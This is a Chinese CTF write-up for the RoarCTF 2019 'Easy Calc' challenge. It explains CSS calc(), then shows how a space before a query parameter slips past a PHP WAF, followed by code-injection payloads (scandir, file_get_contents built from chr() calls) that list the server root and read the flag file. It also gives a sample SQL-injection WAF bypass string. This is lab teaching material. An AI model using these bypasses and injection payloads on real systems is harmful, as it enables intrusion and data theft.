> 文档中心 > [RoarCTF 2019]Easy Calc 手把手教会你

[RoarCTF 2019]Easy Calc 手把手教会你


[RoarCTF 2019]Easy Calc 手把手教会你

目录

  • [RoarCTF 2019]Easy Calc 手把手教会你
  • 了解Calc
  • 题目分析

了解Calc

很多人都不知道calc()是什么,那今天就来学习calc(),学习之前我们有必要先知道calc()是什么?只有知道了他是个什么东西?在实际运用中才能更好的使用他。那接下来就围绕calc()展开。

calc()是什么?

calc()从字面我们可以把他理解为一个函数function。其实calc是英文单词calculate(计算)的缩写,是css3的一个新增的功能,用来指定元素的长度。比如说,你可以使用calc()给元素的border、margin、pading、font-size和width等属性设置动态值。为何说是动态值呢?因为我们使用的表达式来得到的值。不过calc()最大的好处就是用在流体布局上,可以通过calc()计算得到元素的宽度。

calc()能做什么?

calc()能让你给元素的做计算,你可以给一个div元素,使用百分比、em、px和rem单位值计算出其宽度或者高度,比如说“width:calc(50% + 2em)”,这样一来你就不用考虑元素DIV的宽度值到底是多少,而把这个烦人的任务交由浏览器去计算。

calc()语法

calc()语法非常简单,就像我们小时候学加 (+)、减(-)、乘(*)、除(/)一样,使用数学表达式来表示:.elm {undefined

width: calc(expression);

}

其中"expression"是一个表达式,用来计算长度的表达式。

calc()的运算规则

calc()使用通用的数学运算规则,但是也提供更智能的功能:

1、使用“+”、“-”、“*” 和 “/”四则运算;

2、可以使用百分比、px、em、rem等单位;

3、可以混合使用各种单位进行计算;

4、表达式中有“+”和“-”时,其前后必须要有空格,如"widht: calc(12%+5em)"这种没有空格的写法是错误的;

5、表达式中有“*”和“/”时,其前后可以没有空格,但建议留有空格。

题目分析

经过上面的简单介绍,知道了calc不过是一个函数,可以实现网页里的加减乘除功能,我们打开我们的url,发现也是一个实现运算的功能。如图;
在这里插入图片描述
我们输入了1+1.发现确实有加减乘除的功能
查看源代码,可以发现是有WAF的,且存在一个calc.php文件
在这里插入图片描述
貌似发现了新大陆,我们尝试进入calc.php?num=1试试
[RoarCTF 2019]Easy Calc 手把手教会你
果然不出所料,但传入字母就会报错,这里应该是被WAF文件给拦截了。
在这里插入图片描述
要对这WAF进行绕过,这里就涉及到一个知识点了。

PHP的字符串解析特性

我们知道PHP将查询字符串(在URL或正文中)转换为内部 G E T 或 的 关 联 数 组 _GET或的关联数组 GET_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)

在了解到PHP的字符串解析之后,我们思考一个问题,WAF它不让num参数传入字母,所以我们不能让WAF文件检测到字母,但是我们又需要传入字母来构成我们的命令,这种情况下我们该怎么对其进行绕过呢?

绕过方法

因为num不可以传入字母,但是我们在num参数之前添加一个空格,这样在PHP的语言特性下会默认删除这个空格,但是WAF会因为这个空格导致检测不到num这个参数,最终导致WAF被绕过。
Payload
http://node4.buuoj.cn:29240/calc.php?num=a 被拦截
http://node4.buuoj.cn:29240/calc.php? num=a 绕过WAF

现在我们就对WAF进行了绕过,接下来就是一些常规操作了。

http://node4.buuoj.cn:29240/calc.php? num=var_dump(scandir(chr(47)))

scandir():列出 参数目录 中的文件和目录,要不然我们怎么知道flag在哪。

因为过滤了"/"符号,所以我们用chr(47)进行绕过

最终Payload

http://node4.buuoj.cn:29240/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述

15路电子城